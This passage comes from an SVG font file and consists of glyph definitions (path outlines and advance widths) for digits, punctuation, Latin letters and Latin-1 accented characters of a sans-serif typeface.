<glyph unicode="9" d="M38 474q0 104 65 169.5t167 65.5q239 0 239 -338q0 -185 -65.5 -285.5t-189.5 -100.5q-81 0 -134.5 49t-66.5 136h88q11 -51 42 -79t77 -28q76 0 116.5 69.5t41.5 199.5q-66 -79 -162 -79t-157 61t-61 160zM128 481q0 -71 37 -110.5t101 -39.5q65 0 106 40t41 105 q0 68 -41 112t-103 44q-61 0 -101 -42t-40 -109z" />
<glyph unicode=":" horiz-adv-x="278" d="M87 0v104h104v-104h-104zM87 420v104h104v-104h-104z" />
<glyph unicode=";" horiz-adv-x="278" d="M87 0v104h105v-120q0 -131 -105 -131v38q35 1 47.5 20t12.5 71v18h-60zM88 420v104h104v-104h-104z" />
<glyph unicode="&#x3c;" horiz-adv-x="584" d="M114 224v52l334 293v-90l-260 -229l260 -229v-90z" />
<glyph unicode="=" horiz-adv-x="584" d="M68 125v68h448v-68h-448zM68 307v68h448v-68h-448z" />
<glyph unicode="&#x3e;" horiz-adv-x="584" d="M114 21l260 229l-260 229v90l334 -293v-52l-334 -293v90z" />
<glyph unicode="?" d="M70 507q0 115 55.5 174.5t163.5 59.5q97 0 155 -52t58 -140q0 -50 -22 -89t-78 -90q-51 -47 -65 -69.5t-14 -54.5v-47h-90v55q0 50 28 87q13 17 22.5 26.5t53.5 49.5q75 67 75 132q0 51 -35 82.5t-93 31.5q-67 0 -98 -37.5t-31 -118.5h-85zM233 0v104h90v-104h-90z" />
<glyph unicode="@" horiz-adv-x="1015" d="M34 258q0 128 66.5 239.5t180 177.5t244.5 66q175 0 300.5 -110t125.5 -262q0 -75 -34.5 -146.5t-98.5 -118.5t-139 -47q-96 0 -110 77q-66 -72 -142 -72q-70 0 -116.5 52.5t-46.5 130.5q0 109 78 193t179 84q84 0 122 -87l22 66h83l-90 -280q-13 -38 -12 -50 q0 -18 15 -31t35 -13q64 0 116 71t52 159q0 125 -104.5 216t-247.5 91q-158 0 -275.5 -117t-117.5 -274q0 -143 108 -240.5t267 -97.5q79 0 193 32l28 -67q-112 -42 -226 -42q-124 0 -229 53.5t-165.5 145.5t-60.5 201zM354 244q0 -49 29 -83.5t70 -34.5q58 0 105 72t51 164 v5q0 39 -27 65t-67 26q-63 0 -112 -65t-49 -149z" />
<glyph unicode="A" horiz-adv-x="667" d="M17 0l260 729h120l256 -729h-104l-75 219h-281l-77 -219h-99zM216 297h232l-112 332z" />
<glyph unicode="B" horiz-adv-x="667" d="M79 0v729h296q101 0 158.5 -51.5t57.5 -133.5q0 -112 -101 -159q70 -27 101.5 -69t31.5 -108q0 -91 -59 -149.5t-156 -58.5h-329zM172 82h227q63 0 97 35t34 90q0 56 -33.5 91t-97.5 35h-227v-251zM172 415h180q146 0 146 116t-146 116h-180v-232z" />
<glyph unicode="C" horiz-adv-x="722" d="M48 356q0 168 87 279.5t246 111.5q237 0 281 -244h-95q-17 84 -64.5 123t-132.5 39q-105 0 -167 -83.5t-62 -224.5q0 -136 64 -214.5t173 -78.5q91 0 138.5 48.5t64.5 153.5h96q-33 -284 -300 -284q-156 0 -242.5 104.5t-86.5 269.5z" />
<glyph unicode="D" horiz-adv-x="722" d="M89 0v729h281q139 0 218 -97t79 -267t-79.5 -267.5t-217.5 -97.5h-281zM182 82h172q108 0 164 72t56 210q0 139 -56 211t-164 72h-172v-565z" />
<glyph unicode="E" horiz-adv-x="667" d="M90 0v729h505v-82h-412v-233h397v-82h-397v-250h430v-82h-523z" />
<glyph unicode="F" horiz-adv-x="611" d="M90 0v729h489v-82h-396v-233h348v-82h-348v-332h-93z" />
<glyph unicode="G" horiz-adv-x="778" d="M44 357q0 169 93.5 279.5t256.5 110.5q125 0 205 -63.5t100 -175.5h-95q-15 71 -72 114t-139 43q-115 0 -185.5 -84t-70.5 -219t69.5 -216.5t191.5 -81.5q100 0 164.5 61t64.5 158v20h-222v82h304v-385h-59l-23 96q-102 -114 -249 -114q-148 0 -241 103.5t-93 271.5z" />
<glyph unicode="H" horiz-adv-x="722" d="M83 0v729h93v-315h375v315h93v-729h-93v332h-375v-332h-93z" />
<glyph unicode="I" horiz-adv-x="278" d="M100 0v729h93v-729h-93z" />
<glyph unicode="J" horiz-adv-x="500" d="M19 175v59h93v-42q0 -64 28 -98t81 -34q56 0 84 37t28 124v508h93v-542q0 -95 -55.5 -150t-150.5 -55t-148 52t-53 141z" />
<glyph unicode="K" horiz-adv-x="667" d="M79 0v729h93v-369l363 369h120l-297 -297l300 -432h-110l-257 374l-119 -119v-255h-93z" />
<glyph unicode="L" d="M80 0v729h93v-647h360v-82h-453z" />
<glyph unicode="M" horiz-adv-x="833" d="M75 0v729h129l216 -635l212 635h129v-729h-88v611l-205 -611h-98l-207 611v-611h-88z" />
<glyph unicode="N" horiz-adv-x="722" d="M76 0v729h101l381 -596v596h88v-729h-105l-377 591v-591h-88z" />
<glyph unicode="O" horiz-adv-x="778" d="M38 359q0 172 97.5 280t253.5 108q160 0 256.5 -108.5t96.5 -285.5q0 -163 -96.5 -267t-255.5 -104q-158 0 -255 103.5t-97 273.5zM131 359q0 -134 71 -214.5t188 -80.5q116 0 187.5 80t71.5 211q0 139 -71 224.5t-189 85.5q-115 0 -186.5 -85.5t-71.5 -220.5z" />
<glyph unicode="P" horiz-adv-x="667" d="M91 0v729h301q108 0 166.5 -55.5t58.5 -158.5q0 -91 -57 -148.5t-147 -57.5h-229v-309h-93zM184 391h194q67 0 104.5 34t37.5 94t-37.5 94t-104.5 34h-194v-256z" />
<glyph unicode="Q" horiz-adv-x="778" d="M38 359q0 172 97.5 280t254.5 108t254.5 -108t97.5 -278q0 -167 -103 -280l94 -77l-47 -58l-105 87q-86 -51 -191 -51q-158 0 -255 103.5t-97 273.5zM131 359q0 -135 70.5 -215t187.5 -80q60 0 120 28l-74 62l46 56l89 -73q79 89 79 223q0 135 -71.5 220t-187.5 85 t-187.5 -85t-71.5 -221z" />
<glyph unicode="R" horiz-adv-x="722" d="M93 0v729h336q107 0 164.5 -50.5t57.5 -144.5q0 -62 -27 -103t-88 -71q59 -25 78 -62.5t21 -127.5q1 -73 9.5 -101t34.5 -46v-23h-113q-22 52 -21 119l1 65q1 67 -28.5 98.5t-91.5 31.5h-240v-314h-93zM186 396h225q74 0 108.5 30t34.5 95q0 63 -33.5 94.5t-109.5 31.5 h-225v-251z" />
<glyph unicode="S" horiz-adv-x="667" d="M48 237h88q0 -80 52.5 -126.5t153.5 -46.5q186 0 186 127q0 83 -134 118l-181 48q-143 37 -143 170q0 100 70 160t189 60q126 0 196.5 -59.5t70.5 -166.5h-88q0 71 -47.5 109.5t-134.5 38.5q-73 0 -118 -36.5t-45 -92.5q0 -42 27 -66.5t93 -41.5l183 -49 q74 -20 114.5 -68t40.5 -115q0 -100 -74.5 -159t-210.5 -59q-133 0 -210.5 65t-77.5 190z" />
<glyph unicode="T" horiz-adv-x="611" d="M21 647v82h572v-82h-239v-647h-93v647h-240z" />
<glyph unicode="U" horiz-adv-x="722" d="M85 222v507h93v-507q0 -77 50.5 -117.5t135.5 -40.5q88 0 138 42t50 116v507h93v-507q0 -110 -76.5 -175t-204.5 -65q-130 0 -204.5 64.5t-74.5 175.5z" />
<glyph unicode="V" horiz-adv-x="667" d="M30 729h100l214 -617l202 617h99l-253 -729h-100z" />
<glyph unicode="W" horiz-adv-x="944" d="M22 729h104l137 -592l162 592h100l166 -592l134 592h104l-185 -729h-102l-168 599l-163 -599h-102z" />
<glyph unicode="X" horiz-adv-x="667" d="M22 0l258 374l-242 355h113l187 -286l188 286h111l-246 -355l258 -374h-115l-199 304l-200 -304h-113z" />
<glyph unicode="Y" horiz-adv-x="667" d="M13 729h115l214 -355l208 355h111l-274 -443v-286h-93v286z" />
<glyph unicode="Z" horiz-adv-x="611" d="M28 0v82l438 565h-410v82h525v-84l-436 -563h438v-82h-555z" />
<glyph unicode="[" horiz-adv-x="278" d="M64 -212v941h186v-72h-103v-797h103v-72h-186z" />
<glyph unicode="\" horiz-adv-x="278" d="M-8 729h55l237 -749h-55z" />
<glyph unicode="]" horiz-adv-x="278" d="M23 -140h103v797h-103v72h186v-941h-186v72z" />
<glyph unicode="^" horiz-adv-x="469" d="M44 329l153 380h73l155 -380h-69l-122 300l-121 -300h-69z" />
<glyph unicode="_" d="M-22 -127h600v-50h-600v50z" />
<glyph unicode="`" horiz-adv-x="333" d="M-13 729h113l96 -148h-60z" />
<glyph unicode="a" d="M42 136q0 98 92 136q25 10 53 15.5t115 16.5q49 6 68 19t19 39v22q0 38 -30.5 58t-86.5 20q-58 0 -88 -22.5t-35 -70.5h-84q7 170 210 170q97 0 147 -36.5t50 -106.5v-292q0 -41 45 -41q9 0 18 2v-63q-35 -9 -57 -9q-31 0 -55 19.5t-31 49.5q-72 -77 -178 -77 q-80 0 -126 40t-46 111zM129 138q0 -80 103 -80q63 0 110 34.5t47 88.5v78q-33 -15 -134 -29q-68 -10 -97 -30.5t-29 -61.5z" />
<glyph unicode="b" d="M54 0v729h83v-276q57 86 162 86q104 0 164 -72t60 -199q0 -128 -62.5 -205.5t-165.5 -77.5q-107 0 -166 90v-75h-75zM137 262q0 -89 40 -144t106 -55q68 0 110.5 55.5t42.5 144.5q0 88 -42 143t-111 55q-66 3 -106 -52t-40 -147z" />
<glyph unicode="c" horiz-adv-x="500" d="M31 257q0 130 63.5 206t169.5 76q90 0 145 -48.5t62 -142.5h-84q-8 55 -40 84.5t-84 29.5q-69 0 -107 -53.5t-38 -151.5q0 -93 39 -144t108 -51q54 0 86 28t42 90h84q-8 -91 -64.5 -143t-149.5 -52q-107 0 -169.5 73t-62.5 199z" />
<glyph unicode="d" d="M26 267q0 125 61.5 198.5t163.5 73.5q108 0 161 -81v271h83v-729h-74v77q-34 -49 -73.5 -70.5t-93.5 -21.5q-106 0 -167 75t-61 207zM113 262q0 -91 42 -145t111 -54q66 0 106 53.5t40 143.5q0 91 -40 146t-107 55q-69 0 -110.5 -54t-41.5 -145z" />
<glyph unicode="e" d="M40 259q0 129 65 204.5t175 75.5q74 0 130.5 -37t81.5 -101q21 -55 21 -163h-386q1 -87 43.5 -131.5t110.5 -44.5q105 0 137 97h84q-16 -80 -75.5 -127t-148.5 -47q-111 0 -174.5 72.5t-63.5 201.5zM129 306h294l1 6q0 62 -42 106t-103 44q-63 0 -104 -43t-46 -113z" />
<glyph unicode="f" horiz-adv-x="278" d="M18 456v68h70v89q0 56 32.5 87.5t90.5 31.5q23 0 47 -5v-69q-19 1 -29 1q-58 0 -58 -53v-82h87v-68h-87v-456h-83v456h-70z" />
<glyph unicode="g" d="M29 257q0 127 61.5 204.5t161.5 77.5q98 0 160 -91v76h77v-438q0 -170 -54 -237t-180 -67q-92 0 -147 42t-62 116h85q14 -88 127 -88q76 0 115 45.5t39 146.5v35q-42 -50 -80 -72t-87 -22q-94 0 -155 75t-61 197zM116 262q0 -95 38.5 -147.5t107.5 -52.5q66 0 104 52 t38 145q0 95 -38 149t-105 54t-106 -53t-39 -147z" />
<glyph unicode="h" d="M70 0v729h83v-277q37 48 74.5 67.5t93.5 19.5q76 0 120.5 -38.5t44.5 -104.5v-396h-83v363q0 50 -30.5 76.5t-77.5 26.5q-64 0 -103 -48.5t-39 -128.5v-289h-83z" />
<glyph unicode="i" horiz-adv-x="222" d="M60 603v104h104v-104h-104zM70 0v524h83v-524h-83z" />
<glyph unicode="j" horiz-adv-x="222" d="M-18 -144l20 -1q37 -2 52.5 14.5t15.5 54.5v600h83v-633q0 -109 -143 -109q-13 0 -28 3v71zM60 603v104h104v-104h-104z" />
<glyph unicode="k" horiz-adv-x="500" d="M58 0v729h83v-427l222 222h107l-182 -181l214 -343h-103l-177 284l-81 -80v-204h-83z" />
<glyph unicode="l" horiz-adv-x="222" d="M68 0v729h83v-729h-83z" />
<glyph unicode="m" horiz-adv-x="833" d="M71 0v524h76v-74q34 47 71.5 68t89.5 21q97 0 141 -80q37 44 73 62t88 18q73 0 111.5 -37.5t38.5 -108.5v-393h-83v361q0 50 -25 77.5t-71 27.5q-51 0 -87.5 -40t-36.5 -97v-329h-83v361q0 50 -25.5 77.5t-71.5 27.5q-51 0 -87 -40t-36 -97v-329h-83z" />
<glyph unicode="n" d="M70 0v524h77v-88q35 55 75.5 79t98.5 24q76 0 121 -39t45 -104v-396h-83v363q0 47 -29 75t-79 28q-64 0 -103.5 -48.5t-39.5 -128.5v-289h-83z" />
<glyph unicode="o" d="M36 262q0 131 62.5 204t173.5 73q114 0 176 -73t62 -208q0 -129 -63 -201t-174 -72q-112 0 -174.5 72.5t-62.5 204.5zM123 262q0 -95 40 -147.5t110 -52.5q69 0 109.5 52.5t40.5 144.5q0 97 -39.5 150t-110.5 53q-70 0 -110 -53t-40 -147z" />
<glyph unicode="p" d="M55 -218v742h76v-79q59 94 167 94q105 0 165 -75t60 -207q0 -125 -61 -198.5t-163 -73.5q-97 0 -161 78v-281h-83zM138 258q0 -91 39.5 -143t106.5 -52q68 0 110 53.5t42 142.5q0 93 -41.5 147.5t-110.5 54.5q-66 0 -106 -55.5t-40 -147.5z" />
<glyph unicode="q" d="M26 256q0 130 62 206.5t166 76.5q107 0 167 -85v70h74v-742h-83v286q-57 -83 -162 -83q-104 0 -164 72t-60 199zM113 262q0 -91 42 -145t111 -54q66 0 106 53t40 143q0 92 -39.5 147t-106.5 55q-69 0 -111 -54t-42 -145z" />
<glyph unicode="r" horiz-adv-x="333" d="M70 0v524h76v-95q36 59 69.5 84.5t73.5 25.5q11 0 32 -3v-85q-94 -1 -131 -44t-37 -135v-272h-83z" />
<glyph unicode="s" horiz-adv-x="500" d="M34 160h88q8 -57 38 -77.5t90 -20.5q55 0 88.5 21t33.5 57q0 28 -18.5 43t-62.5 26l-78 19q-93 22 -129.5 55.5t-36.5 95.5q0 73 55 116.5t146 43.5t140 -42t50 -119h-88q-3 84 -105 84q-51 0 -81 -21.5t-30 -57.5q0 -28 23 -45.5t74 -29.5l80 -19q79 -19 113.5 -51.5 t34.5 -90.5q0 -75 -58.5 -118.5t-157.5 -43.5q-103 0 -154.5 42.5t-54.5 132.5z" />
<glyph unicode="t" horiz-adv-x="278" d="M14 456v68h71v144h83v-144h86v-68h-86v-343q0 -28 9.5 -37.5t36.5 -9.5q25 0 40 4v-70q-39 -7 -68 -7q-49 0 -75 21.5t-26 61.5v380h-71z" />
<glyph unicode="u" d="M65 128v396h83v-363q0 -47 29 -75t79 -28q65 0 104 48.5t39 128.5v289h83v-524h-75v81q-37 -52 -77 -74t-98 -22q-76 0 -121.5 39t-45.5 104z" />
<glyph unicode="v" horiz-adv-x="500" d="M10 524h94l140 -425l148 425h94l-201 -524h-91z" />
<glyph unicode="w" horiz-adv-x="722" d="M6 524h92l107 -408l100 408h102l103 -408l104 408h94l-154 -524h-95l-106 411l-101 -411h-94z" />
<glyph unicode="x" horiz-adv-x="500" d="M17 0l185 267l-175 257h95l126 -190l126 190h94l-176 -253l181 -271h-97l-131 201l-133 -201h-95z" />
<glyph unicode="y" horiz-adv-x="500" d="M20 524h89l134 -408l145 408h90l-233 -634q-40 -108 -135 -108q-31 0 -56 13v75q27 -6 44 -6q27 0 41.5 11.5t25.5 39.5l32 83z" />
<glyph unicode="z" horiz-adv-x="500" d="M31 0v75l313 376h-292v73h391v-74l-311 -377h325v-73h-426z" />
<glyph unicode="{" horiz-adv-x="334" d="M43 224v69q44 9 61 38.5t17 99.5v167q0 62 28.5 96.5t80.5 34.5h46v-65h-15q-37 0 -50 -14t-13 -53v-181q0 -69 -18 -104t-64 -53q82 -38 82 -158v-181q0 -39 13 -53t50 -14h15v-65h-46q-52 0 -80.5 34.5t-28.5 96.5v167q0 69 -17 99t-61 39z" />
<glyph unicode="|" horiz-adv-x="260" d="M96 -212v941h68v-941h-68z" />
<glyph unicode="}" horiz-adv-x="334" d="M29 -147h16q37 0 50.5 14t13.5 53v181q0 120 82 157q-82 38 -82 158v181q0 39 -13.5 53t-50.5 14h-16v65h47q52 0 81 -34.5t29 -96.5v-167q0 -69 16.5 -99t59.5 -39v-69q-43 -9 -59.5 -39t-16.5 -99v-167q0 -62 -29 -96.5t-81 -34.5h-47v65z" />
<glyph unicode="~" horiz-adv-x="584" d="M75 293q4 70 31.5 107.5t76.5 37.5q27 0 54 -16l117 -69q28 -17 50 -17q28 0 39.5 17.5t11.5 57.5h53v-16q0 -58 -28.5 -92.5t-76.5 -34.5q-40 0 -81 26l-98 63q-23 14 -43 14q-46 0 -53 -78h-53z" />
<glyph unicode="&#xa1;" horiz-adv-x="278" d="M97 133l22 223h39l22 -223v-338h-83v338zM97 420v104h84v-104h-84z" />
<glyph unicode="&#xa2;" d="M52 253q0 122 58.5 198t159.5 87v90h42v-89q88 -6 137.5 -55.5t54.5 -135.5h-84q-5 50 -33.5 80t-74.5 34v-409q96 11 114 127h84q-5 -90 -58 -144.5t-140 -58.5v-97h-42v98q-101 9 -159.5 82.5t-58.5 192.5zM139 253q0 -85 34.5 -136.5t96.5 -61.5v406 q-131 -24 -131 -208z" />
<glyph unicode="&#xa3;" d="M26 321v55h81q-34 57 -43.5 81.5t-9.5 57.5q0 91 68.5 152.5t169.5 61.5q103 0 160.5 -58t59.5 -174h-88q-4 154 -136 154q-64 0 -102.5 -35t-38.5 -93q0 -18 3.5 -31.5t7 -22t19.5 -38.5t29 -55h160v-55h-136q15 -44 15 -71q0 -39 -25.5 -80t-92.5 -109q59 39 122 39 q21 0 86.5 -15.5t74.5 -15.5q39 0 83 30l42 -66q-57 -56 -131 -56q-46 0 -146 35q-33 11 -66 11q-53 0 -109 -37l-48 66q69 59 97 102t28 89q0 38 -24 78h-110z" />
<glyph unicode="&#xa4;" d="M28 555l48 48l57 -56q59 51 145 51t145 -51l57 56l48 -48l-55 -54q50 -57 50 -150q0 -89 -50 -151l54 -56l-45 -45l-55 58q-59 -55 -149 -55t-149 55l-55 -58l-45 45l54 56q-50 62 -50 151q0 93 50 150zM106 351q0 -73 50.5 -126t121.5 -53t121.5 53t50.5 126 q0 71 -50.5 124t-121.5 53t-121.5 -53t-50.5 -124z" />
<glyph unicode="&#xa5;" d="M11 709h85l185 -322l179 322h85l-201 -355h151v-51h-170v-77h170v-51h-170v-175h-88v175h-172v51h172v77h-172v51h151z" />
<glyph unicode="&#xa6;" horiz-adv-x="260" d="M96 164h68v-376h-68v376zM96 353v376h68v-376h-68z" />
<glyph unicode="&#xa7;" d="M43 312q0 50 25 85.5t80 64.5q-44 51 -44 102q0 69 53.5 117t131.5 48t126.5 -49t48.5 -128v-28h-84v26q0 47 -26.5 74.5t-70.5 27.5q-38 0 -63.5 -24t-25.5 -61q0 -22 13 -39.5t44 -37.5l146 -94q61 -39 85 -76t24 -91q0 -115 -109 -156q30 -34 41.5 -60t11.5 -58 q0 -72 -53.5 -120t-133.5 -48q-89 0 -137.5 52t-48.5 147h85q0 -63 28 -92.5t74 -29.5q43 0 69.5 24t26.5 62q0 50 -55 88l-170 117q-49 34 -70.5 71t-21.5 86zM122 328q0 -30 13 -50t53 -49l166 -123q73 39 73 102q0 61 -73 112l-161 109q-39 -26 -55 -48.5t-16 -52.5z" />
<glyph unicode="&#xa8;" horiz-adv-x="333" d="M40 604v102h91v-102h-91zM202 604v102h91v-102h-91z" />
<glyph unicode="&#xa9;" horiz-adv-x="737" d="M21 334q0 144 102 246.5t246 102.5t246.5 -102.5t102.5 -246.5t-102.5 -246t-246.5 -102t-246 102t-102 246zM64 334q0 -127 89 -216t216 -89t216.5 89t89.5 216t-89.5 216.5t-216.5 89.5t-216 -89.5t-89 -216.5zM180 329q0 92 52 153t148 61q146 0 170 -139h-64 q-17 87 -113 87q-60 0 -95.5 -43.5t-35.5 -117.5q0 -71 36.5 -112t99.5 -41q53 0 80 26t37 82h64q-19 -160 -181 -160q-94 0 -146 57t-52 147z" />
<glyph unicode="&#xaa;" horiz-adv-x="370" d="M37 495q0 51 34.5 74.5t122.5 30.5q28 2 38.5 9t10.5 24v13q0 44 -67 44q-34 0 -48.5 -12t-19.5 -44h-59q3 108 129 108q122 0 122 -94v-179q0 -23 23 -23q4 0 10 3v-44q-16 -6 -32 -6q-47 0 -55 43q-49 -43 -105 -43q-48 0 -76 26t-28 70zM43 303v51h277v-51h-277z M95 498q0 -47 57 -47q37 0 64 20t27 46v51q-18 -8 -76 -16q-39 -6 -55.5 -18t-16.5 -36z" />
<glyph unicode="&#xab;" d="M98 227v89l152 122v-83l-106 -83l106 -83v-83zM303 227v89l152 122v-83l-106 -83l106 -83v-83z" />
<glyph unicode="&#xac;" horiz-adv-x="584" d="M68 307v68h448v-216h-68v148h-380z" />
<glyph unicode="&#xad;" horiz-adv-x="333" d="M46 240v72h238v-72h-238z" />
<glyph unicode="&#xae;" horiz-adv-x="737" d="M21 334q0 144 102 246.5t246 102.5t246.5 -102.5t102.5 -246.5t-102.5 -246t-246.5 -102t-246 102t-102 246zM64 334q0 -127 89 -216t216 -89t216.5 89t89.5 216t-89.5 216.5t-216.5 89.5t-216 -89.5t-89 -216.5zM192 135v398h202q65 0 99.5 -28t34.5 -80q0 -64 -62 -93 q31 -13 41.5 -33.5t11.5 -68.5q1 -39 5.5 -53t20.5 -24v-18h-73q-14 30 -14 68l1 34q0 66 -67 66h-137v-168h-63zM255 355h128q42 0 61.5 15t19.5 48q0 63 -81 63h-128v-126z" />
<glyph unicode="&#xaf;" horiz-adv-x="333" d="M28 620v70h274v-70h-274z" />
<glyph unicode="&#xb0;" horiz-adv-x="400" d="M54 557q0 62 42 104t104 42t104 -42t42 -104t-42 -104t-104 -42t-104 42t-42 104zM102 557q0 -40 29.5 -71.5t68.5 -31.5t68.5 31.5t29.5 71.5t-29.5 71.5t-68.5 31.5t-68.5 -31.5t-29.5 -71.5z" />
<glyph unicode="&#xb1;" horiz-adv-x="584" d="M68 0v68h448v-68h-448zM68 284v68h190v190h68v-190h190v-68h-190v-155h-68v155h-190z" />
<glyph unicode="&#xb2;" horiz-adv-x="333" d="M29 335q3 64 25.5 97.5t85.5 66.5l52 28q51 27 51 69q0 28 -21 47t-53 19q-36 0 -55 -20t-22 -67h-54q3 134 132 134q57 0 93 -31t36 -80q0 -70 -85 -113l-55 -29q-29 -14 -42.5 -29.5t-21.5 -40.5h201v-51h-267z" />
<glyph unicode="&#xb3;" horiz-adv-x="333" d="M34 448h55q1 -41 20.5 -60t59.5 -19q37 0 58 19t21 53q0 38 -25 50.5t-84 12.5v45q56 0 76.5 11t20.5 42q0 28 -18 44t-49 16q-37 0 -54.5 -18t-17.5 -60h-55q3 125 127 125q56 0 89 -28.5t33 -77.5q0 -52 -50 -74q62 -22 62 -88q0 -54 -37 -86t-99 -32q-64 0 -98.5 32.5 t-34.5 92.5z" />
<glyph unicode="&#xb4;" horiz-adv-x="333" d="M137 581l96 148h113l-149 -148h-60z" />
<glyph unicode="&#xb5;" d="M65 -220v744h83v-371q0 -47 29 -75t78 -28q65 0 104 48.5t39 128.5v297h83v-436q0 -41 45 -41q8 0 18 2v-63q-33 -9 -57 -9q-83 0 -86 83q-59 -83 -163 -83q-54 0 -90 26v-223h-83z" />
<glyph unicode="&#xb6;" horiz-adv-x="537" d="M48 489q0 101 65 170.5t159 69.5h250v-64h-57v-842h-64v842h-82v-842h-64v436q-97 5 -152 70.5t-55 159.5z" />
<glyph unicode="&#xb7;" horiz-adv-x="278" d="M87 250q0 22 15 37t37 15t37 -15t15 -37t-15 -37t-37 -15t-37 15t-15 37z" />
<glyph unicode="&#xb8;" horiz-adv-x="333" d="M39 -196l21 40l9 -4q58 -29 89 -29q23 0 38.5 13t15.5 32q0 18 -12.5 31t-33.5 13q-14 0 -31 -4l-17 12l42 97h48l-23 -59h23q36 0 57.5 -24.5t21.5 -58.5q0 -43 -33 -68t-90 -25q-47 0 -125 34z" />
<glyph unicode="&#xb9;" horiz-adv-x="333" d="M70 595v41l13 1q46 3 63 16.5t28 55.5h37v-374h-54v260h-87z" />
<glyph unicode="&#xba;" horiz-adv-x="365" d="M40 571q0 81 37.5 126t104.5 45q68 0 105 -45t37 -129q0 -79 -37.5 -124t-104.5 -45t-104.5 45t-37.5 127zM51 303v51h263v-51h-263zM98 571q0 -56 22.5 -88t61.5 -32t61.5 31.5t22.5 86.5q0 57 -22 89t-62 32q-39 0 -61.5 -32t-22.5 -87z" />
<glyph unicode="&#xbb;" d="M98 106v83l108 83l-108 83v83l154 -121v-89zM297 106v83l108 83l-108 83v83l154 -121v-89z" />
<glyph unicode="&#xbc;" horiz-adv-x="834" d="M81 595v41l13 1q46 3 63 16.5t28 55.5h37v-374h-54v260h-87zM171 -25l452 734h58l-452 -734h-58zM488 88v52l180 234h40v-239h59v-47h-59v-88h-54v88h-166zM540 135h114v149z" />
<glyph unicode="&#xbd;" horiz-adv-x="834" d="M81 595v41l13 1q46 3 63 16.5t28 55.5h37v-374h-54v260h-87zM127 -25l452 734h58l-452 -734h-58zM493 0q3 64 25.5 97.5t85.5 67.5l51 27q52 27 52 69q0 28 -21.5 47t-53.5 19q-36 0 -54.5 -20t-21.5 -67h-55q4 134 133 134q57 0 93 -31t36 -80q0 -70 -85 -113l-55 -29 q-29 -14 -42.5 -29.5t-21.5 -40.5h201v-51h-267z" />
<glyph unicode="&#xbe;" horiz-adv-x="834" d="M64 448h55q1 -41 20.5 -60t59.5 -19q37 0 58 19t21 53q0 38 -25 50.5t-84 12.5v45q56 0 76.5 11t20.5 42q0 28 -18 44t-49 16q-37 0 -54.5 -18t-17.5 -60h-55q3 125 127 125q56 0 89 -28.5t33 -77.5q0 -52 -50 -74q62 -22 62 -88q0 -54 -37 -86t-99 -32q-64 0 -98.5 32.5 t-34.5 92.5zM191 -25l452 734h58l-452 -734h-58zM478 88v52l180 234h40v-239h59v-47h-59v-88h-54v88h-166zM530 135h114v149z" />
<glyph unicode="&#xbf;" d="M54 -25q0 50 22 89t78 90q51 47 65 69.5t14 54.5v47h90v-55q0 -50 -28 -87q-13 -17 -22.5 -26.5t-53.5 -49.5q-75 -67 -75 -132q0 -51 35 -82.5t93 -31.5q67 0 98 37.5t31 118.5h85q0 -115 -55.5 -174.5t-163.5 -59.5q-97 0 -155 52t-58 140zM233 420v104h90v-104h-90z " />
<glyph unicode="&#xc0;" horiz-adv-x="667" d="M17 0l260 729h120l256 -729h-104l-75 219h-281l-77 -219h-99zM122 916h136l115 -133h-72zM216 297h232l-112 332z" />
<glyph unicode="&#xc1;" horiz-adv-x="667" d="M17 0l260 729h120l256 -729h-104l-75 219h-281l-77 -219h-99zM216 297h232l-112 332zM301 783l115 133h136l-179 -133h-72z" />
<glyph unicode="&#xc2;" horiz-adv-x="667" d="M17 0l260 729h120l256 -729h-104l-75 219h-281l-77 -219h-99zM165 783l115 135h114l115 -135h-75l-97 86l-95 -86h-77zM216 297h232l-112 332z" />
<glyph unicode="&#xc3;" horiz-adv-x="667" d="M17 0l260 729h120l256 -729h-104l-75 219h-281l-77 -219h-99zM176 799q8 49 30.5 76t55.5 27q23 0 70 -19q41 -18 63 -18q25 0 37 37h58q-15 -104 -89 -104q-21 0 -85 25q-35 13 -49 13q-23 0 -33 -37h-58zM216 297h232l-112 332z" />
<glyph unicode="&#xc4;" horiz-adv-x="667" d="M17 0l260 729h120l256 -729h-104l-75 219h-281l-77 -219h-99zM211 799v102h91v-102h-91zM216 297h232l-112 332zM373 799v102h91v-102h-91z" />
<glyph unicode="&#xc5;" horiz-adv-x="667" d="M17 0l260 729h120l256 -729h-104l-75 219h-281l-77 -219h-99zM216 297h232l-112 332zM241 866q0 38 28.5 66.5t68.5 28.5t68 -28.5t28 -68.5q0 -39 -28.5 -67t-67.5 -28q-40 0 -68.5 28.5t-28.5 68.5zM289 866q0 -20 14.5 -34.5t34.5 -14.5q19 0 33.5 14t14.5 33 q0 21 -14 35t-34 14t-34.5 -14t-14.5 -33z" />
<glyph unicode="&#xc6;" horiz-adv-x="1000" d="M11 0l299 729h622v-82h-371v-233h352v-82h-352v-250h389v-82h-482v214h-269l-85 -214h-103zM230 296h238v351h-100z" />
<glyph unicode="&#xc7;" horiz-adv-x="722" d="M48 356q0 168 87 279.5t246 111.5q237 0 281 -244h-95q-17 84 -64.5 123t-132.5 39q-105 0 -167 -83.5t-62 -224.5q0 -136 64 -214.5t173 -78.5q91 0 138.5 48.5t64.5 153.5h96q-31 -272 -278 -283l-14 -37h23q36 0 57.5 -24.5t21.5 -58.5q0 -43 -33 -68t-90 -25 q-47 0 -125 34l21 40l9 -4q58 -29 89 -29q23 0 38.5 13t15.5 32q0 18 -12.5 31t-33.5 13q-14 0 -31 -4l-17 12l32 75q-144 9 -223 112t-79 261z" />
<glyph unicode="&#xc8;" horiz-adv-x="667" d="M90 0v729h505v-82h-412v-233h397v-82h-397v-250h430v-82h-523zM128 916h136l115 -133h-72z" />
<glyph unicode="&#xc9;" horiz-adv-x="667" d="M90 0v729h505v-82h-412v-233h397v-82h-397v-250h430v-82h-523zM307 783l115 133h136l-179 -133h-72z" />
<glyph unicode="&#xca;" horiz-adv-x="667" d="M90 0v729h505v-82h-412v-233h397v-82h-397v-250h430v-82h-523zM171 783l115 135h114l115 -135h-75l-97 86l-95 -86h-77z" />
<glyph unicode="&#xcb;" horiz-adv-x="667" d="M90 0v729h505v-82h-412v-233h397v-82h-397v-250h430v-82h-523zM217 799v102h91v-102h-91zM379 799v102h91v-102h-91z" />
<glyph unicode="&#xcc;" horiz-adv-x="278" d="M-58 916h136l115 -133h-72zM100 0v729h93v-729h-93z" />
<glyph unicode="&#xcd;" horiz-adv-x="278" d="M100 0v729h93v-729h-93zM101 783l115 133h136l-179 -133h-72z" />
<glyph unicode="&#xce;" horiz-adv-x="278" d="M-25 783l115 135h114l115 -135h-75l-97 86l-95 -86h-77zM100 0v729h93v-729h-93z" />
